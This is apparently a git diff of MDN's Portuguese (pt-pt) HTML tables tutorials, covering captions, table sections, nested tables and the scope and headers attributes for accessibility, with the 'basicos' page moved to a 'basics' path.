As you can infer from the brief example above, the caption is meant to contain a description of the table contents. This is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. Rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail.

- -

A caption is placed directly beneath the <table> tag.

- -
-

Nota: The {{htmlattrxref("summary","table")}} attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. We'd recommend using the <caption> element instead, however, as summary is {{glossary("deprecated")}} by the HTML5 spec, and can't be read by sighted users (it doesn't appear on the page.)

-
- -

Aprendizagem ativa: Adicionar uma caption

- -

Let's try this out, revisiting an example we first met in the previous article.

- -
    -
  1. Open up your language teacher's school timetable from the end of HTML Table Basics, or make a local copy of our timetable-fixed.html file.
  2. -
  3. Add a suitable caption for the table.
  4. -
  5. Save your code and open it in a browser to see what it looks like.
  6. -
- -
-

Nota: You can find our version on GitHub — see timetable-caption.html (see it live also).

-
- -

Adding structure with <thead>, <tfoot>, and <tbody>

- -

As your tables get a bit more complex in structure, it is useful to give them more structural definition. One clear way to do this is by using {{htmlelement("thead")}}, {{htmlelement("tfoot")}}, and {{htmlelement("tbody")}}, which allow you to mark up a header, footer, and body section for the table.

- -

These elements don't make the table any more accessible to screenreader users, and don't result in any visual enhancement on their own. They are however very useful for styling and layout — acting as useful hooks for adding CSS to your table. To give you some interesting examples, in the case of a long table you could make the table header and footer repeat on every printed page, and you could make the table body display on a single page and have the contents available by scrolling up and down.

- -

To use them:

- - - -
-

Note: <tbody> is always included in every table, implicitly if you don't specify it in your code. To check this, open up one of your previous examples that doesn't include <tbody> and look at the HTML code in your browser developer tools — you will see that the browser has added this tag for you. You might wonder why you ought to bother including it at all — you should, because it gives you more control over your table structure and styling.

-
- -

Aprendizagem ativa: Adicionar uma estrutura de tabela

- -

Let's put these new elements into action.

- -
    -
  1. First of all, make a local copy of spending-record.html and minimal-table.css in a new folder.
  2. -
  3. Try opening it in a browser — You'll see that it looks OK, but it could stand to be improved. The "SUM" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code.
  4. -
  5. Put the obvious headers row inside a <thead> element, the "SUM" row inside a <tfoot> element, and the rest of the content inside a <tbody> element.
  6. -
  7. Save and refresh, and you'll see that adding the <tfoot> element has caused the "SUM" row to go down to the bottom of the table.
  8. -
  9. Next, add a {{htmlattrxref("colspan","td")}} attribute to make the "SUM" cell span across the first four columns, so the actual number appears at the bottom of the "Cost" column.
  10. -
  11. Let's add some simple extra styling to the table, to give you an idea of how useful these elements are for applying CSS. Inside the head of your HTML document, you'll see an empty {{htmlelement("style")}} element. Inside this element, add the following lines of CSS code: -
    tbody {
    -  font-size: 90%;
    -  font-style: italic;
    -}
    -
    -tfoot {
    -  font-weight: bold;
    -}
    -
    -
  12. -
  13. Save and refresh, and have a look at the result. If the <tbody> and <tfoot> elements weren't in place, you'd have to write much more complicated selectors/rules to apply the same styling.
  14. -
- -
-

Nota: We don't expect you to fully understand the CSS right now. You'll learn more about this when you go through our CSS modules (Introduction to CSS is a good place to start; we also have an article specifically on styling tables).

-
- -

Your finished table should look something like the following:

- - - -

{{ EmbedLiveSample('Hidden_example', '100%', 300) }}

- -
-

Nota: You can also find it on Github as spending-record-finished.html (see it live also).

-
- -

Incorporar Tabelas

- -

It is possible to nest a table inside another one, as long as you include the complete structure, including the <table> element. This is generally not really advised, as it makes the markup more confusing and less accessible to screenreader users, and in many cases you might as well just insert extra cells/rows/columns into the existing table. It is however sometimes necessary, for example if you want to import content easily from other sources.

- -

The following markup shows a simple nested table:

- -
<table id="table1">
-  <tr>
-    <th>title1</th>
-    <th>title2</th>
-    <th>title3</th>
-  </tr>
-  <tr>
-    <td id="nested">
-      <table id="table2">
-        <tr>
-          <td>cell1</td>
-          <td>cell2</td>
-          <td>cell3</td>
-        </tr>
-      </table>
-    </td>
-    <td>cell2</td>
-    <td>cell3</td>
-  </tr>
-  <tr>
-    <td>cell4</td>
-    <td>cell5</td>
-    <td>cell6</td>
-  </tr>
-</table>
- -

The output of which looks something like this:

- - - - - - - - - - - - - - - - - - - -
title1title2title3
- - - - - - - - -
cell1cell2cell3
-
cell2cell3
cell4cell5cell6
- -

Tabelas para utilizadores deficientes visuais

- -

Let's recap briefly on how we use data tables. A table can be a handy tool, for giving us quick access to data and allowing us to look up different values. For example, It takes only a short glance at the table below to find out how many rings were sold in Gent last August. To understand its information we make visual associations between the data in this table and its column and/or row headers.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Items Sold August 2016
  ClothesAccessories
  TrousersSkirtsDressesBraceletsRings
BelgiumAntwerp5622437223
Gent4618506115
Brussels5127386928
The NetherlandsAmsterdam8934698538
Utrecht8012433619
- -

But what if you cannot make those visual associations? How then can you read a table like the above? Visually impaired people often use a screenreader that reads out information on web pages to them. This is no problem when you're reading plain text but interpreting a table can be quite a challenge for a blind person. Nevertheless, with the proper markup we can replace visual associations by programmatic ones.

- -

This section of the article provides further techniques for making tables as accessible as possible.

- -

Utilizar os cabeçalhos de coluna e linha

- -

Screenreaders will identify all headers and use them to make programmatic associations between those headers and the cells they relate to. The combination of column and row headers will identify and interpret the data in each cell so that screenreader user can interpret the table similarly to how a sighted user does.

- -

We already covered headers in our previous article — see Adding headers with <th> elements.

- -

O atributo de scope

- -

A new topic for this article is the {{htmlattrxref("scope","th")}} attribute, which can be added to the <th> element to tell screenreaders exactly what cells the header is a header for — is it a header for the row it is in, or the column, for example? Looking back to our spending record example from earlier on, you could unambiguously define the column headers as column headers like this:

- -
<thead>
-  <tr>
-    <th scope="col">Purchase</th>
-    <th scope="col">Location</th>
-    <th scope="col">Date</th>
-    <th scope="col">Evaluation</th>
-    <th scope="col">Cost (€)</th>
-  </tr>
-</thead>
- -

And each row could have a header defined like this (if we added row headers as well as column headers):

- -
<tr>
-  <th scope="row">Haircut</th>
-  <td>Hairdresser</td>
-  <td>12/09</td>
-  <td>Great idea</td>
-  <td>30</td>
-</tr>
- -

Screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example.

- -

scope has two more possible values — colgroup and rowgroup. these are used for headings that sit over the top of multiple columns or rows. If you look back at the "Items sold..." table at the start of this section of the article, you'll see that the "Clothes" cell sits above the "Trousers", "Skirts", and "Dresses" cells. All of these cells should be marked up as headers (<th>), but "Clothes" is a heading that sits over the top and defines the other three subheadings. "Clothes" therefore should get an attribute of scope="colgroup", whereas the others would get an attribute of scope="col".

- -

A identificação e atributos de cabeçalhos

- -

An alternative to using the scope attribute is to use {{htmlattrxref("id")}} and {{htmlattrxref("headers", "td")}} attributes to create associations between headers and cells. The way they are used is as follows:

- -
    -
  1. You add a unique id to each <th> element.
  2. -
  3. You add a headers attribute to each <td> element. Each headers attribute has to contain a list of the ids of all the <th> elements that act as a header for that cell, separated by spaces.
  4. -
- -

This gives your HTML table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet. For it to work well, the table really needs both column and row headers.

- -

Returning to our spending costs example, the previous two snippets could be rewritten like this:

- -
<thead>
-  <tr>
-    <th id="purchase">Purchase</th>
-    <th id="location">Location</th>
-    <th id="date">Date</th>
-    <th id="evaluation">Evaluation</th>
-    <th id="cost">Cost (€)</th>
-  </tr>
-</thead>
-<tbody>
-<tr>
-  <th id="haircut">Haircut</th>
-  <td headers="location haircut">Hairdresser</td>
-  <td headers="date haircut">12/09</td>
-  <td headers="evaluation haircut">Great idea</td>
-  <td headers="cost haircut">30</td>
-</tr>
-
-  ...
-
-</tbody>
- -
-

Nota: This method creates very precise associations between headers and data cells but it uses a lot more markup and does not leave any room for errors.  The scope approach is usually enough for most tables.

-
- -

Aprendizagem ativa: manipular scope e cabeçalhos

- -
    -
  1. For this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a new directory.
  2. -
  3. Now try adding in the appropriate scope attributes to make this table more appropriate.
  4. -
  5. Finally, try making another copy of the starter files, and this time make the table more accessible using id and headers attributes.
  6. -
- -
-

Nota: You can check your work against our finished examples — see items-sold-scope.html (also see this live) and items-sold-headers.html (see this live too).

-
- -

Resumo

- -

There are a few other things you could learn about table HTML, but we have really given all you need to know at this moment in time. At this point, you might want to go and learn about styling HTML tables — see Styling Tables.

- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/basicos/index.html b/files/pt-pt/learn/html/tables/basicos/index.html deleted file mode 100644 index 98908322c9..0000000000 --- a/files/pt-pt/learn/html/tables/basicos/index.html +++ /dev/null @@ -1,650 +0,0 @@ ---- -title: HTML - o essencial de tabela -slug: Learn/HTML/Tables/Basicos -tags: - - Aprender - - Artigo - - HTML - - Linha - - Principiante - - básicos - - cabeçalho - - coluna - - célula - - essencial - - tabelas -translation_of: Learn/HTML/Tables/Basics ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Tables/Avancada", "Learn/HTML/Tables")}}
- -

Este artigo inicia-o nas tabelas HTML, abrangendo o essencial, tais como linhas e células, cabeçalhos, distribuir as células por várias colunas e linhas, e como agrupar todas as células em uma coluna para fins de estilização.

- - - - - - - - - - - - -
Pré-requisitos:O essencial de HTML (consulte Introdução ao HTML).
Objetivo:Familiarizar-se com as tabelas HTML.
- -

O que é uma tabela?

- -

Uma tabela é um conjunto estruturado de dados constituído por linhas e colunas (dados tabulares). Uma tabela permite consultar, fácil e rapidamente, valores que indiquem alguma relação entre diferentes tipos de dados, por exemplo, uma pessoa e a sua idade, ou os dias da semana num horário de uma piscina.

- -

A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47.

- -

A swimming timetable showing a sample data table

- -

As tabelas são utilizadas muito frequentemente na sociedade humana, já há muito tempo, como prova este documento dos US Census, datado de 1800:

- -

A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.

- -

Não é, portanto, surpreendente que os criadores do HTML forneceram um meio de estruturar e apresentar dados tabulares na web.

- -

Como é que uma tabela funciona?

- -

O propósito de uma tabela é ser rígida. A informação é interpretada facilmente através de associação visual entre cabeçalhos de linhas e colunas. Olhe para a tabela em baixo, por exemplo, e encontre um gigante gasoso Joviano com 62 luas. Pode chegar à resposta associando os cabeçalhos das linhas e colunas relevantes.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dados de planetas no sistema solar (Factos planetários retirados de  Nasa's Planetary Fact Sheet - Metric)
 NomeMassa (1024kg)Diâmetro (km)Densidade (kg/m3)Gravidade (m/s2)Duração do dia (horas)Distância do Sol (106km)Temperatura média (°C)Número de luasNotas
Planetas rochososMercúrio0.3304 87954273,74222,657,91670O mais próximo do Sol
Vénus4.8712 10452438,92802,0108,24640 
Terra5.9712 75655149,824,0149,6151O nosso mundo
Marte0.6426 79239333,724,7227,9-652O planeta vermelho
Gigantes JovianosGigantes gasososJúpiter1898142 984132623,19,9778,6-11067O maior planeta
Saturno568120 5366879,010,71433,5-14062 
Gigantes geladoUrano86.851 11812718,717,22872,5-19527 
Neptuno10249 528163811,016,14495,1-20014 
Planetas anõesPlutão0.01462 37020950,7153,35906,4-2255Desclassificado como planeta em 2006, mas tal ainda é controverso.
- -

Quando executada corretamente, até cegos podem interpretar dados tabulares numa tabela de HTML — uma tabela de HTML bem sucedida deve melhorar a experiência utilizadores com deficiências visuais.

- -

Estilização da tabela

- -

Também pode ver este exemplo ao vivo no GitHub! Algo que vai notar é que a tabela parece um pouco mais legível lá — isto acontece porque a tabela em cima tem estilização mínima, ao passo que a versão do GitHub aplica estilos CSS mais significativos.

- -

Não se iluda; para as tabelas serem eficazes na internet, tem que fornecer alguma informação de estilos com CSS, assim como uma boa estrutura sólida com HTML. Neste módulo focamo-nos na parte de HTML; para saber mais sobre a parte de CSS deve visitar o nosso artigo sobre Estilizar tabelas, quando acabar de ler este.

- -

Não nos vamos focar em CSS neste módulo, mas proporcionamos uma folha de estilos CSS mínima que pode usar para tornar as suas tabelas mais legíveis do que se não tivesse estilo. Pode obter a folha de estilos aqui, e também pode obter um modelo HTML que aplica a folha de estilos — juntando estes dois documentos terá um bom ponto de partida para fazer experiências com tabelas HTML.

- -

Quando NÃO deverá utilizar tabelas HTML?

- -

Tabelas em HTML devem ser utilizdas para mostrar dados tabulares — é para isso que foram concebidas. Infelizmente, muitas pessoas costumavam usar tabelas HTML para dispor páginas web: por exemplo, uma linha contém o cabeçalho, uma linha possui o conteúdo, organizado em colunas, outra linha contém o rodapé, etc. Esta prática era comum porque o suporte para CSS nos vários navegadores costumava ser horrível. Hoje em dia, layouts com tabelas são muito menos comuns, mas ainda os poderá encontrar em alguns cantos da internet. Poderá encontrar mais detalhes e um exemplo no artigo Layouts de páginas no nosso Módulo de Acessibilidade.

- -

Resumidamente, recorrer a tabelas para dispor elementos em vez de Técnicas de layout CSS é má ideia. As razões principais são as seguintes:

- -
    -
  1. Layouts com tabelas reduzem acessibilidade de utilizadores com deficiências visuais: Os leitores de ecrãs, usados por cegos, interpretam as etiquetas existentes na página HTML e lêem o conteúdo em voz alta. Como tabelas não são uma ferramenta adequada para o layout, e a marcação é mais complexa do que se recorresse a técnicas de layout de CSS, a informação dada pelos leitores de ecrãs será confusa para os seus utilizadores.
  2. -
  3. Tabelas produzem "sopa" de etiquetas: Como já foi referido, layouts com tabelas geralmente envolvem estruturas de marcação mais complexas do que as técnicas de layout próprias. Isto torna o código mais difícil de escrever, manter e depurar.
  4. -
  5. Tabelas não são automaticamente responsivas: Ao usar contentores próprios (como {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, ou {{htmlelement("div")}}), a sua largura por omissão é 100% do elemento pai. Tabelas, pelo contrário, são dimensionadas de acordo com o seu conteúdo, pelo que são necessárias medidas adicionais para conseguir que o estilo do layout funcione eficazmente numa variedade de dispositivos.
  6. -
- -

Aprendizagem ativa: Criar a sua primeira tabela

- -

We've talked table theory enough, so, let's dive into a practical example and build up a simple table.

- -
    -
  1. First of all, make a local copy of blank-template.html and minimal-table.css in a new directory on your local machine.
  2. -
  3. The content of every table is enclosed by these two tags : <table></table>. Add these inside the body of your HTML.
  4. -
  5. The smallest container inside a table is a table cell, which is created by a <td> element ('td' stands for 'table data'). Add the following inside your table tags: -
    <td>Hi, I'm your first cell.</td>
    -
  6. -
  7. If we want a row of four cells, we need to copy these tags three times. Update the contents of your table to look like so: -
    <td>Hi, I'm your first cell.</td>
    -<td>I'm your second cell.</td>
    -<td>I'm your third cell.</td>
    -<td>I'm your fourth cell.</td>
    -
  8. -
- -

As you will see, the cells are not placed underneath each other, rather they are automatically aligned with other on the same row. Each <td> element creates a single cell and together they make up the first row. Every cell we add makes the row grow longer.

- -

To stop this row from growing and start placing subsequent cells on a second row, we need to use the <tr> element ('tr' stands for 'table row'). Let's investigate this now.

- -
    -
  1. Place the four cells you've already created inside <tr> tags, like so: - -
    <tr>
    -  <td>Hi, I'm your first cell.</td>
    -  <td>I'm your second cell.</td>
    -  <td>I'm your third cell.</td>
    -  <td>I'm your fourth cell.</td>
    -</tr>
    -
  2. -
  3. Now you've made one row, have a go at making one or two more — each row needs to be wrapped in an additional <tr> element, with each cell contained in a <td>.
  4. -
- -

This should result in a table that looks something like the following:

- - - - - - - - - - - - - - - - -
Hi, I'm your first cell.I'm your second cell.I'm your third cell.I'm your fourth cell.
Second row, first cell.Cell 2.Cell 3.Cell 4.
- -
-

Nota:também pode encontrar isto no GitHub, como simple-table.html (veja-a em execução).

-
- -

Adicionar cabeçalhos com elementos <th>

- -

Now let's turn our attention to table headers — special cells that go at the start of a row or column and define the type of data that row or column contains (as an example, see the "Person" and "Age" cells in the first example shown in this article). To illustrate why they are useful, have a look at the following table example. First the source code:

- -
<table>
-  <tr>
-    <td>&nbsp;</td>
-    <td>Knocky</td>
-    <td>Flor</td>
-    <td>Ella</td>
-    <td>Juan</td>
-  </tr>
-  <tr>
-    <td>Breed</td>
-    <td>Jack Russell</td>
-    <td>Poodle</td>
-    <td>Streetdog</td>
-    <td>Cocker Spaniel</td>
-  </tr>
-  <tr>
-    <td>Age</td>
-    <td>16</td>
-    <td>9</td>
-    <td>10</td>
-    <td>5</td>
-  </tr>
-  <tr>
-    <td>Owner</td>
-    <td>Mother-in-law</td>
-    <td>Me</td>
-    <td>Me</td>
-    <td>Sister-in-law</td>
-  </tr>
-  <tr>
-    <td>Eating Habits</td>
-    <td>Eats everyone's leftovers</td>
-    <td>Nibbles at food</td>
-    <td>Hearty eater</td>
-    <td>Will eat till he explodes</td>
-  </tr>
-</table>
- -

Em baixo, tem a tabela renderizada:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 KnockyFlorEllaJuan
BreedJack RussellPoodleStreetdogCocker Spaniel
Age169105
OwnerMother-in-lawMeMeSister-in-law
Eating HabitsEats everyone's leftoversNibbles at foodHearty eaterWill eat till he explodes
- -

The problem here is that, while you can kind of make out what's going on, it is not as easy to cross reference data as it could be. If the column and row headings stood out in some way, it would be much better.

- -

Aprendizagem ativa: cabeçalhos de tabela

- -

Let's have a go at improving this table.

- -
    -
  1. First, make a local copy of our dogs-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same Dogs example as you saw above.
  2. -
  3. To recognize the table headers as headers, both visually and semantically, you can use the <th> element ('th' stand for 'table header'). This works in exactly the same way as a <td>, except that it denotes a header, not a normal cell. Go into your HTML, and change all the <td> elements surrounding the table headers into <th> elements.
  4. -
  5. Save your HTML and load it in a browser, and you should see that the headers now look like headers.
  6. -
- -
-

Nota: You can find our finished example at dogs-table-fixed.html on GitHub (see it live also).

-
- -

Porque é que os cabeçalhos são úteis?

- -

We have already partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better.

- -
-

Nota: Table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out.

-
- -

Tables headers also have an added benefit — along with the scope attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. Screenreaders are then able to read out a whole row or column of data at once, which is pretty useful.

- -

Permitir que as células sejam distribuídas por múltiplas filas e colunas

- -

Sometimes we want cells to span multiple rows or columns. Take the following simple example, which shows the names of common animals. In some cases, we want to show the names of the males and females next to the animal name. Sometimes we don't, and in such cases we just want the animal name to span the whole table.

- -

The initial markup looks like this:

- -
<table>
-  <tr>
-    <th>Animals</th>
-  </tr>
-  <tr>
-    <th>Hippopotamus</th>
-  </tr>
-  <tr>
-    <th>Horse</th>
-    <td>Mare</td>
-  </tr>
-  <tr>
-    <td>Stallion</td>
-  </tr>
-  <tr>
-    <th>Crocodile</th>
-  </tr>
-  <tr>
-    <th>Chicken</th>
-    <td>Cock</td>
-  </tr>
-  <tr>
-    <td>Rooster</td>
-  </tr>
-</table>
- -

But the output doesn't give us quite what we want:

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Animals
Hippopotamus
HorseMare
Stallion
Crocodile
ChickenCock
Rooster
- -

We need a way to get "Animals", "Hippopotamus", and "Crocodile" to span across two columns, and "Horse" and "Chicken" to span downwards over two rows. Fortunately, table headers and cells have the colspan and rowspan attributes, which allow us to do just those things. Both accept a unitless number value, which equals the number of rows or columns you want spanned. For example, colspan="2" makes a cell span two columns.

- -

Let's use colspan and rowspan to improve this table.

- -
    -
  1. First, make a local copy of our animals-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same animals example as you saw above.
  2. -
  3. Next, use colspan to make "Animals", "Hippopotamus", and "Crocodile" span across two columns.
  4. -
  5. Finally, use rowspan to make "Horse" and "Chicken" span across two rows.
  6. -
  7. Save and open your code in a browser to see the improvement.
  8. -
- -
-

Note: You can find our finished example at animals-table-fixed.html on GitHub (see it live also).

-
- - -
- -

Proporcionar estilização comum para colunas

- -

There is one last feature we'll tell you about in this article before we move on. HTML has a method of defining styling information for an entire column of data all in one place — the <col> and <colgroup> elements. These exist because it can be a bit annoying and inefficient having to specify styling on columns — you generally have to specify your styling information on every <td> or <th> in the column, or use a complex selector such as {{cssxref(":nth-child()")}}.

- -

Take the following simple example:

- -
<table>
-  <tr>
-    <th>Data 1</th>
-    <th style="background-color: yellow">Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td style="background-color: yellow">Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td style="background-color: yellow">Jazz</td>
-  </tr>
-</table>
- -

Which gives us the following result:

- - - - - - - - - - - - - - - - -
Data 1Data 2
CalcuttaOrange
RobotsJazz
- -

This isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet). Instead of doing this, we can specify the information once, on a <col> element. <col> elements are  specified inside a <colgroup> container just below the opening <table> tag. We could create the same effect as we see above by specifying our table as follows:

- -
<table>
-  <colgroup>
-    <col>
-    <col style="background-color: yellow">
-  </colgroup>
-  <tr>
-    <th>Data 1</th>
-    <th>Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td>Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td>Jazz</td>
-  </tr>
-</table>
- -

Effectively we are defining two "style columns", one specifying styling information for each column. We are not styling the first column, but we still have to include a blank <col> element — if we didn't, the styling would just be applied to the first column.

- -

If we wanted to apply the styling information to both columns, we could just include one <col> element with a span attribute on it, like this:

- -
<colgroup>
-  <col style="background-color: yellow" span="2">
-</colgroup>
- -

Just like colspan and rowspan, span takes a unitless number value that specifies the number of columns you want the styling to apply to.

- -

Aprendizagem ativa: colgroup e col

- -

Now it's time to have a go yourself.

- -

Below you can see the timetable of a languages teacher. On Friday she has a new class teaching Dutch all day, but she also teaches German for a few periods on Tuesday and Thursdays. She wants to highlight the columns containing the days she is teaching.

- -

{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}

- -

Recreate the table by following the steps below.

- -
    -
  1. First, make a local copy of our timetable.html file in a new directory on your local machine. The HTML contains the same table you saw above, minus the column styling information.
  2. -
  3. Add a <colgroup> element at the top of the table, just underneath the <table> tag, in which you can add your <col> elements (see the remaining steps below).
  4. -
  5. The first two columns need to be left unstyled.
  6. -
  7. Add a background color to the third column. The value for your style attribute is background-color:#97DB9A;
  8. -
  9. Set a separate width on the fourth column. The value for your style attribute is width: 42px;
  10. -
  11. Add a background color to the fifth column. The value for your style attribute is background-color: #97DB9A;
  12. -
  13. Add a different background color plus a border to the sixth column, to signify that this is a special day and she's teaching a new class. The values for your style attribute are background-color:#DCC48E; border:4px solid #C1437A;
  14. -
  15. The last two days are free days, so just set them to no background color but a set width; the value for the style attribute is width: 42px;
  16. -
- -

See how you get on with the example. If you get stuck, or want to check your work, you can find our version on GitHub as timetable-fixed.html (see it live also).

- -

Resumo

- -

That just about wraps up the basics of HTML Tables. In the next article we will look at some slightly more advanced table features, and start to think how accessible they are for visually impaired people.

- -
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -
-

Neste módulo

- - -
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/basics/index.html b/files/pt-pt/learn/html/tables/basics/index.html new file mode 100644 index 0000000000..98908322c9 --- /dev/null +++ b/files/pt-pt/learn/html/tables/basics/index.html @@ -0,0 +1,650 @@ +--- +title: HTML - o essencial de tabela +slug: Learn/HTML/Tables/Basicos +tags: + - Aprender + - Artigo + - HTML + - Linha + - Principiante + - básicos + - cabeçalho + - coluna + - célula + - essencial + - tabelas +translation_of: Learn/HTML/Tables/Basics +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Tables/Avancada", "Learn/HTML/Tables")}}
+ +

Este artigo inicia-o nas tabelas HTML, abrangendo o essencial, tais como linhas e células, cabeçalhos, distribuir as células por várias colunas e linhas, e como agrupar todas as células em uma coluna para fins de estilização.

+ + + + + + + + + + + + +
Pré-requisitos:O essencial de HTML (consulte Introdução ao HTML).
Objetivo:Familiarizar-se com as tabelas HTML.
+ +

O que é uma tabela?

+ +

Uma tabela é um conjunto estruturado de dados constituído por linhas e colunas (dados tabulares). Uma tabela permite consultar, fácil e rapidamente, valores que indiquem alguma relação entre diferentes tipos de dados, por exemplo, uma pessoa e a sua idade, ou os dias da semana num horário de uma piscina.

+ +

A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47.

+ +

A swimming timetable showing a sample data table

+ +

As tabelas são utilizadas muito frequentemente na sociedade humana, já há muito tempo, como prova este documento dos US Census, datado de 1800:

+ +

A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.

+ +

Não é, portanto, surpreendente que os criadores do HTML forneceram um meio de estruturar e apresentar dados tabulares na web.

+ +

Como é que uma tabela funciona?

+ +

O propósito de uma tabela é ser rígida. A informação é interpretada facilmente através de associação visual entre cabeçalhos de linhas e colunas. Olhe para a tabela em baixo, por exemplo, e encontre um gigante gasoso Joviano com 62 luas. Pode chegar à resposta associando os cabeçalhos das linhas e colunas relevantes.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Dados de planetas no sistema solar (Factos planetários retirados de  Nasa's Planetary Fact Sheet - Metric)
 NomeMassa (1024kg)Diâmetro (km)Densidade (kg/m3)Gravidade (m/s2)Duração do dia (horas)Distância do Sol (106km)Temperatura média (°C)Número de luasNotas
Planetas rochososMercúrio0.3304 87954273,74222,657,91670O mais próximo do Sol
Vénus4.8712 10452438,92802,0108,24640 
Terra5.9712 75655149,824,0149,6151O nosso mundo
Marte0.6426 79239333,724,7227,9-652O planeta vermelho
Gigantes JovianosGigantes gasososJúpiter1898142 984132623,19,9778,6-11067O maior planeta
Saturno568120 5366879,010,71433,5-14062 
Gigantes geladoUrano86.851 11812718,717,22872,5-19527 
Neptuno10249 528163811,016,14495,1-20014 
Planetas anõesPlutão0.01462 37020950,7153,35906,4-2255Desclassificado como planeta em 2006, mas tal ainda é controverso.
+ +

Quando executada corretamente, até cegos podem interpretar dados tabulares numa tabela de HTML — uma tabela de HTML bem sucedida deve melhorar a experiência utilizadores com deficiências visuais.

+ +

Estilização da tabela

+ +

Também pode ver este exemplo ao vivo no GitHub! Algo que vai notar é que a tabela parece um pouco mais legível lá — isto acontece porque a tabela em cima tem estilização mínima, ao passo que a versão do GitHub aplica estilos CSS mais significativos.

+ +

Não se iluda; para as tabelas serem eficazes na internet, tem que fornecer alguma informação de estilos com CSS, assim como uma boa estrutura sólida com HTML. Neste módulo focamo-nos na parte de HTML; para saber mais sobre a parte de CSS deve visitar o nosso artigo sobre Estilizar tabelas, quando acabar de ler este.

+ +

Não nos vamos focar em CSS neste módulo, mas proporcionamos uma folha de estilos CSS mínima que pode usar para tornar as suas tabelas mais legíveis do que se não tivesse estilo. Pode obter a folha de estilos aqui, e também pode obter um modelo HTML que aplica a folha de estilos — juntando estes dois documentos terá um bom ponto de partida para fazer experiências com tabelas HTML.

+ +

Quando NÃO deverá utilizar tabelas HTML?

+ +

Tabelas em HTML devem ser utilizdas para mostrar dados tabulares — é para isso que foram concebidas. Infelizmente, muitas pessoas costumavam usar tabelas HTML para dispor páginas web: por exemplo, uma linha contém o cabeçalho, uma linha possui o conteúdo, organizado em colunas, outra linha contém o rodapé, etc. Esta prática era comum porque o suporte para CSS nos vários navegadores costumava ser horrível. Hoje em dia, layouts com tabelas são muito menos comuns, mas ainda os poderá encontrar em alguns cantos da internet. Poderá encontrar mais detalhes e um exemplo no artigo Layouts de páginas no nosso Módulo de Acessibilidade.

+ +

Resumidamente, recorrer a tabelas para dispor elementos em vez de Técnicas de layout CSS é má ideia. As razões principais são as seguintes:

+ +
    +
  1. Layouts com tabelas reduzem acessibilidade de utilizadores com deficiências visuais: Os leitores de ecrãs, usados por cegos, interpretam as etiquetas existentes na página HTML e lêem o conteúdo em voz alta. Como tabelas não são uma ferramenta adequada para o layout, e a marcação é mais complexa do que se recorresse a técnicas de layout de CSS, a informação dada pelos leitores de ecrãs será confusa para os seus utilizadores.
  2. +
  3. Tabelas produzem "sopa" de etiquetas: Como já foi referido, layouts com tabelas geralmente envolvem estruturas de marcação mais complexas do que as técnicas de layout próprias. Isto torna o código mais difícil de escrever, manter e depurar.
  4. +
  5. Tabelas não são automaticamente responsivas: Ao usar contentores próprios (como {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, ou {{htmlelement("div")}}), a sua largura por omissão é 100% do elemento pai. Tabelas, pelo contrário, são dimensionadas de acordo com o seu conteúdo, pelo que são necessárias medidas adicionais para conseguir que o estilo do layout funcione eficazmente numa variedade de dispositivos.
  6. +
+ +

Aprendizagem ativa: Criar a sua primeira tabela

+ +

We've talked table theory enough, so, let's dive into a practical example and build up a simple table.

+ +
    +
  1. First of all, make a local copy of blank-template.html and minimal-table.css in a new directory on your local machine.
  2. +
  3. The content of every table is enclosed by these two tags : <table></table>. Add these inside the body of your HTML.
  4. +
  5. The smallest container inside a table is a table cell, which is created by a <td> element ('td' stands for 'table data'). Add the following inside your table tags: +
    <td>Hi, I'm your first cell.</td>
    +
  6. +
  7. If we want a row of four cells, we need to copy these tags three times. Update the contents of your table to look like so: +
    <td>Hi, I'm your first cell.</td>
    +<td>I'm your second cell.</td>
    +<td>I'm your third cell.</td>
    +<td>I'm your fourth cell.</td>
    +
  8. +
+ +

